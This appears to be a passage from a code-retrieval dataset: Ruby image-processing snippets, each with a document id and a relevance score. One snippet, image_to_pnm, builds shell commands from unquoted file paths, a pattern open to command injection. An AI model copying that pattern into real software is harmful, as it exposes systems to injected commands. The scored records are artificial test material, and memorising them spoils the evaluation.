"text": "def chopup(image)\n $log.info \"Parsing #{image}\" # Begin reporting\n outputs = [] # For listing each format\n filebase = image.slice(/^[A-Z]{16}/) # Get product SID\n fileattr = image.slice(/(?<=\\_)([A-Za-z0-9\\_]+)(?=\\.)/) # Get product attribute\n if @eci # Check if we're parsing to ECI\n if !@parsed.include?(filebase) # Check if we've already done this image\n outputs << { size: 350, dest: ECI_PATH, name: \"#{filebase}.jpg\" }\n outputs << { size: 100, dest: ECI_PATH, name: \"#{filebase}t.jpg\" }\n end\n end\n @formats.each do |format| # Collect other formats into output array\n outputs << { size: SIZE[format], dest: @dest, name: \"#{File.basename(image,\".*\")}_#{TAG[format]}.jpg\" }\n end\n outputs.sort! { |x,y| x[:size] <=> y[:size] } # Sort outputs by size\n outputs.reverse! # And reverse (from large to small)\n # Create new image object and set defaults\n imageout = ImageList.new(\"#{@source}/#{image}\") do\n self.background_color = \"#ffffff\" # Default: White background\n self.gravity = CenterGravity # Default: Center image\n end\n imageout = preformat_image(imageout) # Do preformatting on image\n outputs.each do |output| # For each format\n imageout.resize!(output[:size],output[:size]) # Size it\n write_file(imageout, \"#{output[:dest]}/#{output[:name]}\") # And save it\n if output[:size] == 1050 && !@parsed.include?(filebase) # Save default large copy\n write_file(imageout, \"#{output[:dest]}/#{filebase}_lg.jpg\")\n end\n # And log it\n if output[:dest] == \"R:/RETAIL/RPRO/Images/Inven\"\n $log.info \"Saved to ECI: #{output[:name]}\"\n else\n $log.info \"Saved to dest: #{output[:name]}\"\n end\n end\n # We only need to parse to ECI and default large files once\n # So add name to parsed file list\n if !@parsed.include?(filebase)\n @parsed << filebase\n end\n imageout.destroy! # To clear memory, ditch this file\n GC.start # And take out the trash\n end",
"title": ""
},
{
"docid": "3a376f7d0d569f592d73bb3eb3d93e3a",
"score": "0.6089073",
"text": "def parse_images\n @text.gsub!(IMAGE_REGEXP) do |m|\n filename = $~[1]\n alt_text = $~[2]\n \n options = {}\n options[:src] = \"http://#{CONFIG['url']}/images/#{permalink}/#{filename}\"\n if alt_text\n options[:alt] = alt_text\n options[:title] = alt_text\n end\n \n \"<img #{options.to_html_tag_attributes} />\"\n end\n end",
"title": ""
},
{
"docid": "248547b071a0c4f69698056f430dc7c5",
"score": "0.60683805",
"text": "def process_image\n\n end",
"title": ""
},
{
"docid": "226b3567736bb7345ba13bb6c7b34b7a",
"score": "0.6067883",
"text": "def image\n\t\t\tname = image_name.is_a?(Symbol) ? image_name.to_s.dasherize : image_name.to_s.strip\n\t\t\tname.gsub! /(^(\"|'))|(('|\")$)/, \"\"\n\t\t\tname.gsub! /\\.svg$/i, \"\"\n\t\t\tname << \".#{image_extension}\" unless /\\.[a-z]+$/i =~ name\n\t\t\tname.gsub! Regexp.new(\"#{image_extension}$\", Regexp::IGNORECASE), [color, size, image_extension].reject(&:blank?).join(\".\")\n\t\t\tname\n\t\tend",
"title": ""
},
{
"docid": "d61deacc53c27106d6371741eb437769",
"score": "0.60639423",
"text": "def make_preview_image(file,type)\n case type\n when :text\n Docsplit.extract_images(file, :size => '400x', :format => [:png], :pages => 1, :output => PREVIEW_DIR)\n #the _1 is a peculiarity of Docsplit when selecting individual pages\n name = File.basename(upload_path, '.*') + \"_1\" +\".png\"\n self.update_attribute(:preview_file_path, name)\n when :image\n name = MagickThumbs.make_thumbs(:file_url => file, :file_name => self.upload_path, :size => \"200x200\")\n self.update_attribute(:preview_file_path, name)\n else\n nil \n end\n end",
"title": ""
},
{
"docid": "244b10426f3be1e45ead6a8e183e3b51",
"score": "0.602835",
"text": "def apply_png(parsed_instr)\n layer = parsed_instr[:dst_layer]\n if layer.to_i < 0\n img = Magick::Image.read_inline(parsed_instr[:data]).first\n @png_buffer[layer] = img\n else \n add_to_buffer(parsed_instr[:data], parsed_instr[:x_offset], parsed_instr[:y_offset]) \n end \n end",
"title": ""
},
{
"docid": "8d5babe5d8620a073b9a3886e9ee2855",
"score": "0.59734446",
"text": "def suck_in_images!\n content.to_s.gsub!(/<img src=\"([^\"]+)\".*alt=\"([^\"]+)\".*\\s*\\/?>/) do |match|\n begin\n file = File.read( @document.base_path.join($1) )\n mime = MIME::Types.of(File.basename( @document.base_path.join($1) ))\n \"<img src=\\\"data:#{mime};base64,#{Base64.encode64(file)}\\\" alt=\\\"#{$2}\\\" />\"\n rescue\n # TODO : Better error handling\n puts \"Error: Cannot load image #{$1}\"\n end\n end\n end",
"title": ""
},
{
"docid": "50819fb6556805852088ed403f90766e",
"score": "0.59572625",
"text": "def process_png(data)\n type = 6 # Excel Blip type (MSOBLIPTYPE).\n width = data[16, 4].unpack(\"N\")[0]\n height = data[20, 4].unpack(\"N\")[0]\n\n return [type, width, height]\n end",
"title": ""
},
{
"docid": "36468250c595f1d58cce4803848e34d8",
"score": "0.59076965",
"text": "def custom_image\n #image_custom.to_image\n Magick::Image.read(image_custom_url).first\n end",
"title": ""
},
{
"docid": "888ea6a216899730d83cecfceb89a1c2",
"score": "0.590026",
"text": "def get_image_extension(binary)\n png = Regexp.new(\"\\x89PNG\".force_encoding(\"binary\"))\n jpg = Regexp.new(\"\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF\".force_encoding(\"binary\"))\n jpg2 = Regexp.new(\"\\xff\\xd8\\xff\\xe1(.*){2}Exif\".force_encoding(\"binary\"))\n # if image read with File.open, the binary is utf-8 from Ruby 2.0\n case binary.force_encoding(\"binary\")\n when /^GIF8/\n 'gif'\n when /^#{png}/\n 'png'\n when /^#{jpg}/\n 'jpg'\n when /^#{jpg2}/\n 'jpg'\n end\n end",
"title": ""
},
{
"docid": "203ac594a56c3bbd3620c844faa40f77",
"score": "0.5848713",
"text": "def first_image(text)\n path = text.partition('![')[2].partition('](')[2].partition(')')[0] rescue nil\n if path.first(9) == '/images/@'\n substrings = path.split('.')\n if substrings[2].present?\n substrings[0] + '.v3.' + substrings[2] rescue nil\n else\n substrings[0] + '.v3.' + substrings[1] rescue nil\n end\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "f6f6042b34560c11878c4ad8e9970202",
"score": "0.5842356",
"text": "def extract_image_elements\n extract_elements 'image'\n end",
"title": ""
},
{
"docid": "ac248f0eefcdad807fc0a894bc43c74a",
"score": "0.58283395",
"text": "def image_path\n\t\t\tduppath = duplicate_path\n\t\t\tduppath[name_exten[1]] = Path::EXTENS[:png]\n\t\t\tduppath\n\t\tend",
"title": ""
},
{
"docid": "723e9ebd3e1fba2bf5b55b976cafe0a0",
"score": "0.5828003",
"text": "def process_png(data)\n type = 'png'\n width = 0\n height = 0\n x_dpi = 96\n y_dpi = 96\n\n offset = 8\n data_length = data.size\n\n # Search through the image data to read the height and width in th the\n # IHDR element. Also read the DPI in the pHYs element.\n while offset < data_length\n\n length = data[offset + 0, 4].unpack(\"N\")[0]\n png_type = data[offset + 4, 4].unpack(\"A4\")[0]\n\n case png_type\n when \"IHDR\"\n width = data[offset + 8, 4].unpack(\"N\")[0]\n height = data[offset + 12, 4].unpack(\"N\")[0]\n when \"pHYs\"\n x_ppu = data[offset + 8, 4].unpack(\"N\")[0]\n y_ppu = data[offset + 12, 4].unpack(\"N\")[0]\n units = data[offset + 16, 1].unpack(\"C\")[0]\n\n if units == 1\n x_dpi = x_ppu * 0.0254\n y_dpi = y_ppu * 0.0254\n end\n end\n\n offset = offset + length + 12\n\n break if png_type == \"IEND\"\n end\n raise \"#{filename}: no size data found in png image.\\n\" unless height\n\n [type, width, height, x_dpi, y_dpi]\n end",
"title": ""
},
{
"docid": "0fe1b1128475ceec2cf3f44409b88644",
"score": "0.5815926",
"text": "def diswimage(image_text)\n image_options = image_text.gsub(/#/, '').gsub(/diswimage:/, '').split(':')\n image_title = image_options[0]\n image_extension = image_options[1]\n option_count = image_options[2]\n image_width = image_options[3]\n return \"!{width: #{image_width}px}http://doitidiot.s3.amazonaws.com/#{image_title}-#{rand(option_count)+1}.#{image_extension}!\"\n end",
"title": ""
},
{
"docid": "16014f1f1d3d393c42ce0daa39c550e2",
"score": "0.58151615",
"text": "def image_string_creator\n n = []\n n << \"src:\".ljust(TO_S_SIZE) + self.src.to_s\n n << \"file date:\".ljust(TO_S_SIZE) + self.fileCreatedDate.to_s\n n << \"file size:\".ljust(TO_S_SIZE) + self.fileSize.to_s\n n << \"width:\".ljust(TO_S_SIZE) + self.width.to_s\n n << \"height:\".ljust(TO_S_SIZE) + self.height.to_s\n n << \"alt:\".ljust(TO_S_SIZE) + self.alt.to_s\n return n\n end",
"title": ""
},
{
"docid": "16014f1f1d3d393c42ce0daa39c550e2",
"score": "0.58151615",
"text": "def image_string_creator\n n = []\n n << \"src:\".ljust(TO_S_SIZE) + self.src.to_s\n n << \"file date:\".ljust(TO_S_SIZE) + self.fileCreatedDate.to_s\n n << \"file size:\".ljust(TO_S_SIZE) + self.fileSize.to_s\n n << \"width:\".ljust(TO_S_SIZE) + self.width.to_s\n n << \"height:\".ljust(TO_S_SIZE) + self.height.to_s\n n << \"alt:\".ljust(TO_S_SIZE) + self.alt.to_s\n return n\n end",
"title": ""
},
{
"docid": "6e1f3706a9227011504788fa84fd7c9c",
"score": "0.5801286",
"text": "def get_image_uri image_page\n\t\tnew_doc = seperate_lines image_page\n\t\tnew_doc = perform_instructions @i_ins, new_doc\n\t\tnew_doc.scan(/(?<=src=\\\")[^\"]*#{@i_regex.source}[^\"]*(?=\\\")/)[0]\n\tend",
"title": ""
},
{
"docid": "d3a607c40855756d18faf2197f4ee7b3",
"score": "0.5788056",
"text": "def image_to_pnm\n src = @tmp ? @tmp : @src\n pnm = Pathname.new(Dir::tmpdir).join(\"#{@uid.generate}_#{@src.sub(@src.extname, \".pnm\").basename}\")\n case @src.extname.downcase\n when \".jpg\" then\n `djpeg -colors 2 -grayscale -dct float -pnm #{src} > #{pnm} #{cco}`\n when \".tif\" then\n `tifftopnm #{src} > #{pnm} #{cco}`\n when \".png\" then\n `pngtopnm #{src} > #{pnm} #{cco}`\n when \".bmp\" then\n `bmptopnm #{src} > #{pnm} #{cco}`\n when \".pdf\", \".ps\" then\n `gs -sDEVICE=pnmraw -r300 -dNOPAUSE -dBATCH -sOutputFile=- -q #{src} > #{pnm} #{cco}`\n else\n raise UnsupportedFileTypeError\n end\n pnm\n end",
"title": ""
},
{
"docid": "8a3994bc0a368de187a3515e5d5fc50e",
"score": "0.57776845",
"text": "def premiere_icon(expression)\n\n p_string = expression.get_premiere_as_string\n icon_file = \"\"\n icon_file = \"world-premiere.gif\" if p_string == 'World Premiere'\n icon_file = \"nz-premiere.gif\" if p_string == 'NZ Premiere'\n html = \"\"\n icon_message = \"#{p_string} for #{expression.expression_title}\"\n if !icon_file.blank?\n html ='<img src=\"/icons/'\n html << icon_file\n html << \" \\\" alt = \\\"#{icon_message}\\\"\"\n html << \"title = \\\"#{icon_message}\\\"\"\n html << ' >'\n end\n\n html\n\n end",
"title": ""
},
{
"docid": "90676d848f16b2f4d73dd711ceea8a0f",
"score": "0.5719615",
"text": "def image_producer\n ng_xml.css(\"fits > metadata > image > imageProducer\").map(&:text)\n end",
"title": ""
},
{
"docid": "b3157807dcd1f560d5d0fdb57b398f5b",
"score": "0.5718575",
"text": "def get_formatted_image(image)\n res = ''\n # TODO refactor\n %w(height name size uid width).each do |attribute|\n field = \"image_#{attribute}\"\n res << \"#{image.try(field)}#{ATTRIBUTES_DELIMITER}\"\n end\n res.chop\n end",
"title": ""
},
{
"docid": "f97e574d0befba767dc0158a27ca269a",
"score": "0.5690848",
"text": "def process_img_line(line)\n img_match = line.scan(/!\\[(?<alt_text>.*)\\]\\((?<src>\\S+)( \"(?<title>.*)\")?\\)/)\n\n # Pass http/https directly through (don't bother downloading them)\n # For local files, copy them to /resources and link with quiver-image-url\n img_match\n .reject {|alt_text, src, title| URI::regexp(['http', 'https']) =~ src}\n .each do |alt_text, src, title|\n src_file = File.expand_path(src, File.dirname(@input_file))\n raise \"Couldn't find image at: #{src_file}\" unless File.exist?(src_file)\n dest = img_to_resources(src_file)\n line.sub!(src, dest)\n end\n line\n end",
"title": ""
},
{
"docid": "c9ceda4d552af5afe1884182a3bda3aa",
"score": "0.5690466",
"text": "def convert_bbcode_img(text)\n text.gsub!(%r{\\[img\\](.+?)\\[/img\\]}i) { \"})\" }\n end",
"title": ""
},
{
"docid": "6c6a87f7d3b014cb8f90f0b77b20199d",
"score": "0.5684544",
"text": "def imagedata; end",
"title": ""
},
{
"docid": "e744a781947093dee0f902e5b54691fd",
"score": "0.56694233",
"text": "def preposition_img\n end",
"title": ""
},
{
"docid": "b7cdf01c74456de2364bcb0247f1f00d",
"score": "0.56628186",
"text": "def handle_embedded\n data = [[\"ThumbnailOffset\",\"ThumbnailLength\"],[\"PreviewImageStart\",\"PreviewImageLength\"]]\n data.map{|offset, length|\n @@DATA.map do |k,v|\n if v.has_key?(offset)\n # ThumbnailOffset -> thumbnail\n # PreviewImageStart -> preview\n ext = \".jpeg\"\n case k\n when \"IFD0\"\n kind = \"small_preview\"\n when \"IFD1\"\n kind = \"thumbnail\"\n when \"IFD2\"\n kind = \"rgb_uncompress_preview\"\n ext = \".raw\"\n when \"IFD3\"\n kind = \"lossless_preview\"\n ext = \".raw\"\n end\n instance_variable_set(\"@#{kind}\", true)\n # dynamically create methods to extract preview/thumbnail\n self.class.instance_eval {\n define_method((\"extract_%s\" % kind).to_sym) do |path=nil|\n path ||= File.dirname(@filename)\n extract_name = File.basename(@filename)\n extract_name.gsub!(File.extname(extract_name), ext)\n extract_name = File.join(path, \"#{kind}_%s_#{extract_name}\" % Time.now.strftime(\"%Y-%m-%d_%H%M%S\"))\n _offset = v[offset][:value]\n _length = v[length][:value]\n File.open(@filename, \"rb\") do |io|\n io.seek(@TIFF_header_offset + _offset, IO::SEEK_SET)\n extracted_f = File.open(extract_name, \"wb\")\n extracted_f << io.read(_length)\n end\n extract_name\n end\n }\n end\n end\n }\n end",
"title": ""
},
{
"docid": "1b05d8c479562eb20f95bb471b84923a",
"score": "0.56502664",
"text": "def get_exifr\r\n\tend",
"title": ""
},
{
"docid": "cf18048cebe92d71ba44e3ad95844689",
"score": "0.56461847",
"text": "def revcontent_background_img(i)\n\treturn CGI::parse(i[/\\((.*?)\\)/m, 1])[\"http://img.revcontent.com/?url\"][0]\nend",
"title": ""
},
{
"docid": "0a364461e8e08beaac1851e4f0426ad0",
"score": "0.5645175",
"text": "def extract\n manipulate! do |img|\n img.frames.second\n end\n end",
"title": ""
},
{
"docid": "87c9a6a618477dedb29af586a99b438c",
"score": "0.56397825",
"text": "def image_name() ; info[:image_name] ; end",
"title": ""
},
{
"docid": "87c9a6a618477dedb29af586a99b438c",
"score": "0.56397825",
"text": "def image_name() ; info[:image_name] ; end",
"title": ""
},
{
"docid": "2364a0f5ae215aaa3f4077ef0e5ba770",
"score": "0.56375766",
"text": "def pbResolveBitmap(x)\n return nil if !x\n noext=x.gsub(/\\.(bmp|png|gif|jpg|jpeg)$/,\"\")\n filename=nil\n# RTP.eachPathFor(x) {|path|\n# filename=pbTryString(path) if !filename\n# filename=pbTryString(path+\".gif\") if !filename\n# }\n RTP.eachPathFor(noext) {|path|\n filename=pbTryString(path+\".png\") if !filename\n filename=pbTryString(path+\".gif\") if !filename\n# filename=pbTryString(path+\".jpg\") if !filename\n# filename=pbTryString(path+\".jpeg\") if !filename\n# filename=pbTryString(path+\".bmp\") if !filename\n }\n return filename\nend",
"title": ""
},
{
"docid": "861dc7a58e03cbd90bcbc72bc38be5ed",
"score": "0.56363815",
"text": "def img\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 33 )\n return_value = ImgReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n __OPENING_TAG245__ = nil\n __IMG246__ = nil\n __END_NOPAIR_TAG255__ = nil\n id247 = nil\n style248 = nil\n klass249 = nil\n align250 = nil\n src251 = nil\n alt252 = nil\n width253 = nil\n height254 = nil\n\n tree_for_OPENING_TAG245 = nil\n tree_for_IMG246 = nil\n tree_for_END_NOPAIR_TAG255 = nil\n stream_END_NOPAIR_TAG = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token END_NOPAIR_TAG\" )\n stream_OPENING_TAG = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token OPENING_TAG\" )\n stream_IMG = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token IMG\" )\n stream_id = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule id\" )\n stream_height = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule height\" )\n stream_style = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule style\" )\n stream_klass = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule klass\" )\n stream_alt = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule alt\" )\n stream_align = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule align\" )\n stream_width = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule width\" )\n stream_src = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule src\" )\n begin\n # at line 275:6: OPENING_TAG IMG ( id | style | klass | align | src | alt | width | height )* END_NOPAIR_TAG\n __OPENING_TAG245__ = match( OPENING_TAG, TOKENS_FOLLOWING_OPENING_TAG_IN_img_1618 )\n stream_OPENING_TAG.add( __OPENING_TAG245__ )\n __IMG246__ = match( IMG, TOKENS_FOLLOWING_IMG_IN_img_1620 )\n stream_IMG.add( __IMG246__ )\n # at line 275:22: ( id | style | klass | align | src | alt | width | height )*\n while true # decision 46\n alt_46 = 9\n alt_46 = @dfa46.predict( @input )\n case alt_46\n when 1\n # at line 275:23: id\n @state.following.push( TOKENS_FOLLOWING_id_IN_img_1623 )\n id247 = id\n @state.following.pop\n stream_id.add( id247.tree )\n\n when 2\n # at line 275:26: style\n @state.following.push( TOKENS_FOLLOWING_style_IN_img_1625 )\n style248 = style\n @state.following.pop\n stream_style.add( style248.tree )\n\n when 3\n # at line 275:32: klass\n @state.following.push( TOKENS_FOLLOWING_klass_IN_img_1627 )\n klass249 = klass\n @state.following.pop\n stream_klass.add( klass249.tree )\n\n when 4\n # at line 275:38: align\n @state.following.push( TOKENS_FOLLOWING_align_IN_img_1629 )\n align250 = align\n @state.following.pop\n stream_align.add( align250.tree )\n\n when 5\n # at line 275:44: src\n @state.following.push( TOKENS_FOLLOWING_src_IN_img_1631 )\n src251 = src\n @state.following.pop\n stream_src.add( src251.tree )\n\n when 6\n # at line 275:48: alt\n @state.following.push( TOKENS_FOLLOWING_alt_IN_img_1633 )\n alt252 = alt\n @state.following.pop\n stream_alt.add( alt252.tree )\n\n when 7\n # at line 275:52: width\n @state.following.push( TOKENS_FOLLOWING_width_IN_img_1635 )\n width253 = width\n @state.following.pop\n stream_width.add( width253.tree )\n\n when 8\n # at line 275:58: height\n @state.following.push( TOKENS_FOLLOWING_height_IN_img_1637 )\n height254 = height\n @state.following.pop\n stream_height.add( height254.tree )\n\n else\n break # out of loop for decision 46\n end\n end # loop for decision 46\n __END_NOPAIR_TAG255__ = match( END_NOPAIR_TAG, TOKENS_FOLLOWING_END_NOPAIR_TAG_IN_img_1643 )\n stream_END_NOPAIR_TAG.add( __END_NOPAIR_TAG255__ )\n # AST Rewrite\n # elements: id, src, height, klass, IMG, align, alt, width, style\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 276:18: -> ^( TAG IMG ( id )* ( style )* ( klass )* ( align )* ( src )* ( alt )* ( width )* ( height )* )\n # at line 276:21: ^( TAG IMG ( id )* ( style )* ( klass )* ( align )* ( src )* ( alt )* ( width )* ( height )* )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create_from_type( TAG, \"TAG\" ), root_1 )\n\n @adaptor.add_child( root_1, stream_IMG.next_node )\n # at line 276:31: ( id )*\n while stream_id.has_next?\n @adaptor.add_child( root_1, stream_id.next_tree )\n\n end\n\n stream_id.reset();\n # at line 276:35: ( style )*\n while stream_style.has_next?\n @adaptor.add_child( root_1, stream_style.next_tree )\n\n end\n\n stream_style.reset();\n # at line 276:42: ( klass )*\n while stream_klass.has_next?\n @adaptor.add_child( root_1, stream_klass.next_tree )\n\n end\n\n stream_klass.reset();\n # at line 276:49: ( align )*\n while stream_align.has_next?\n @adaptor.add_child( root_1, stream_align.next_tree )\n\n end\n\n stream_align.reset();\n # at line 276:56: ( src )*\n while stream_src.has_next?\n @adaptor.add_child( root_1, stream_src.next_tree )\n\n end\n\n stream_src.reset();\n # at line 276:61: ( alt )*\n while stream_alt.has_next?\n @adaptor.add_child( root_1, stream_alt.next_tree )\n\n end\n\n stream_alt.reset();\n # at line 276:66: ( width )*\n while stream_width.has_next?\n @adaptor.add_child( root_1, stream_width.next_tree )\n\n end\n\n stream_width.reset();\n # at line 276:73: ( height )*\n while stream_height.has_next?\n @adaptor.add_child( root_1, stream_height.next_tree )\n\n end\n\n stream_height.reset();\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 33 )\n\n end\n \n return return_value\n end",
"title": ""
},
{
"docid": "d0afaf8093ec893f1745185380035461",
"score": "0.5632965",
"text": "def redemption_receipt_image\n\t\t# unit_test_no_generate: redemption_receipt_image, img.className(create_ats_regex_string(\"ats-receipt-image\"))\n\t\t$tracer.trace(__method__)\n\t\treturn ToolTag.new(img.className(create_ats_regex_string(\"ats-receipt-image\")), __method__, self)\n\tend",
"title": ""
},
{
"docid": "e38485b016aaf44e37486691e4a9eb90",
"score": "0.5625714",
"text": "def poster\n case poster_thumbnail\n when /^(https?:.+@@)/\n Regexp.last_match[1] + '.jpg'\n when /^(https?:.+?)\\.[^\\/]+$/\n Regexp.last_match[1] + '.jpg'\n end\n end",
"title": ""
},
{
"docid": "53e90dab0f86595592c452a17d6fd465",
"score": "0.5625527",
"text": "def construct_mhtml_image_data(separator)\n \t\t\tif @exist\n \t\t\t\tresult = separator + \"\\n\"\n \t\t\t\tresult << MHTML_CONTENT_LOCATION << @id << \"\\n\"\n \t\t\t\tresult <<\tMHTML_CONTENT_ENCODING << \"\\n\\n\"\n \t\t\t\tresult << encoded << \"\\n\\n\"\n \t\t\tend\n \t\tend",
"title": ""
},
{
"docid": "a3cca3aec10b92c860dbb4896c868644",
"score": "0.56230235",
"text": "def handle_internal_image_urls(full_doc)\n full_doc.gsub(/!\\[([^\\]]*)\\]\\(([^ \\)\"]*)[\\s]*(\"[^\"]*\")?\\)/) { |s|\n if s.include? ':'\n s\n else\n alt_text = $1\n img_path = $2\n title = $3\n # strip out the leading slash in the url if it's there and prepend the docset path and the\n # /_img/ directory path\n img_path = @docset.full_url_from_path('/_img/' + img_path.sub(/^\\//, ''))\n \" + ')'\n end\n }\n end",
"title": ""
},
{
"docid": "20b4a88ffa77b4ae0725df6a20abfb7c",
"score": "0.56138724",
"text": "def convert_embedded_image_links_to_textile!\n gsub!(%r{!image (?:(\\w+)/)?(\\d+)!}) do\n size = Regexp.last_match[1] || \"thumb\"\n id = Regexp.last_match[2]\n src = Image.url(size, id)\n link = \"#{MO.http_domain}/images/#{id}\"\n \"\\\"!#{src}!\\\":#{link}\"\n end\n end",
"title": ""
},
{
"docid": "b7e1c5f2062a2782cdd0f903cbb1cfd4",
"score": "0.56120014",
"text": "def format\r\n return image_format\r\n end",
"title": ""
},
{
"docid": "e27a80a323d22581e2b5a1b9d423ab7d",
"score": "0.56022674",
"text": "def decode_png_str_scanline_paeth(stream, pos, prev_pos, line_length, pixel_size); end",
"title": ""
},
{
"docid": "284b0d3b4fcc2cff21c7ab49c76bc525",
"score": "0.5599086",
"text": "def format\n @image.format\n end",
"title": ""
},
{
"docid": "72e8c5629f2065f6638693e7a64ce776",
"score": "0.5595719",
"text": "def tweak_imgs_in_line line,dir_name\n new_line = line\n line.scan(/<img.*>/i) do |img,y|\n new_img = tweak_img(img,dir_name)\n new_line = new_line.gsub(img,new_img)\n end\n return new_line\n end",
"title": ""
},
{
"docid": "f3e20ecf3d50958b8bc6aa21cf97630d",
"score": "0.55945796",
"text": "def get_code_128\n nil # ZXing.decode @image.filename\n end",
"title": ""
},
{
"docid": "45738ddd38990d9c94c4b4fe10ea7c99",
"score": "0.55923706",
"text": "def msg2\n pack = Packer.new\n# pack.add_smil(File.open(\"sample.smil\").read)\n pack.add_image(File.open(\"data/sample_image.jpg\").read, \"jpeg\", \"sample_image.jpeg\")\n# pack.add_text(File.open(\"sample_text.txt\").read, \"sample_text.txt\")\n pack\nend",
"title": ""
},
{
"docid": "42b128fd055f0be277c0329779ecbb67",
"score": "0.5590035",
"text": "def image; end",
"title": ""
},
{
"docid": "42b128fd055f0be277c0329779ecbb67",
"score": "0.5590035",
"text": "def image; end",
"title": ""
},
{
"docid": "756e0940dfdb493b6cf54aeb34910f78",
"score": "0.5589724",
"text": "def dc_img_alt(file_name, text=nil)\n return text if text.present?\n\n name = File.basename(file_name.to_s)\n name[0, name.index('.')].downcase rescue name\nend",
"title": ""
},
{
"docid": "1b04e9f4a9d08d455c5a53e045848dff",
"score": "0.55886716",
"text": "def emoji_image_filter(text)\n text.gsub(emoji_pattern) do |_match|\n emoji_image_tag(Regexp.last_match(1))\n end\n end",
"title": ""
},
{
"docid": "8eca8edbb60769f901aae03a467e10d5",
"score": "0.5588217",
"text": "def image_tag() ; info[:image_tag] ; end",
"title": ""
},
{
"docid": "8eca8edbb60769f901aae03a467e10d5",
"score": "0.5588217",
"text": "def image_tag() ; info[:image_tag] ; end",
"title": ""
},
{
"docid": "e1888c91a35eb73443803ad1f9b34535",
"score": "0.5582488",
"text": "def transform_images( str, rs )\r\n\t\t@log.debug \" Transforming images\" % str\r\n\r\n\t\t# Handle reference-style labeled images: ![alt text][id]\r\n\t\tstr.\r\n\t\t\tgsub( ReferenceImageRegexp ) {|match|\r\n\t\t\t\twhole, alt, linkid = $1, $2, $3.downcase\r\n\t\t\t\t@log.debug \"Matched %p\" % match\r\n\t\t\t\tres = nil\r\n\t\t\t\talt.gsub!( /\"/, '"' )\r\n\r\n\t\t\t\t# for shortcut links like ![this][].\r\n\t\t\t\tlinkid = alt.downcase if linkid.empty?\r\n\r\n\t\t\t\tif rs.urls.key?( linkid )\r\n\t\t\t\t\turl = escape_md( rs.urls[linkid] )\r\n\t\t\t\t\t@log.debug \"Found url '%s' for linkid '%s' \" % [ url, linkid ]\r\n\r\n\t\t\t\t\t# Build the tag\r\n\t\t\t\t\tresult = %{<img src=\"%s\" alt=\"%s\"} % [ url, alt ]\r\n\t\t\t\t\tif rs.titles.key?( linkid )\r\n\t\t\t\t\t\tresult += %{ title=\"%s\"} % escape_md( rs.titles[linkid] )\r\n\t\t\t\t\tend\r\n\t\t\t\t\tresult += EmptyElementSuffix\r\n\r\n\t\t\t\telse\r\n\t\t\t\t\tresult = whole\r\n\t\t\t\tend\r\n\r\n\t\t\t\t@log.debug \"Replacing %p with %p\" % [ match, result ]\r\n\t\t\t\tresult\r\n\t\t\t}.\r\n\r\n\t\t\t# Inline image style\r\n\t\t\tgsub( InlineImageRegexp ) {|match|\r\n\t\t\t\t@log.debug \"Found inline image %p\" % match\r\n\t\t\t\twhole, alt, title = $1, $2, $5\r\n\t\t\t\turl = escape_md( $3 )\r\n\t\t\t\talt.gsub!( /\"/, '"' )\r\n\r\n\t\t\t\t# Build the tag\r\n\t\t\t\tresult = %{<img src=\"%s\" alt=\"%s\"} % [ url, alt ]\r\n\t\t\t\tunless title.nil?\r\n\t\t\t\t\ttitle.gsub!( /\"/, '"' )\r\n\t\t\t\t\tresult += %{ title=\"%s\"} % escape_md( title )\r\n\t\t\t\tend\r\n\t\t\t\tresult += EmptyElementSuffix\r\n\r\n\t\t\t\t@log.debug \"Replacing %p with %p\" % [ match, result ]\r\n\t\t\t\tresult\r\n\t\t\t}\r\n\tend",
"title": ""
},
{
"docid": "3c4cde01886840f2e832e727a7499a90",
"score": "0.5581792",
"text": "def image\n\t\tself.name.downcase.gsub(/[\\s\\!]/,'')\n\tend",
"title": ""
},
{
"docid": "48e1d5488341f74aa5150f934fbe1636",
"score": "0.5569037",
"text": "def format\n @resource.format.downcase.sub('jpeg', 'jpg')\n end",
"title": ""
},
{
"docid": "ec5b0208ca038862b0c536db9595a97d",
"score": "0.5566208",
"text": "def decode_png_str_scanline_sub(stream, pos, prev_pos, line_length, pixel_size); end",
"title": ""
},
{
"docid": "cfd1e8c01821abdfdc4e1c864ff14c0d",
"score": "0.5565319",
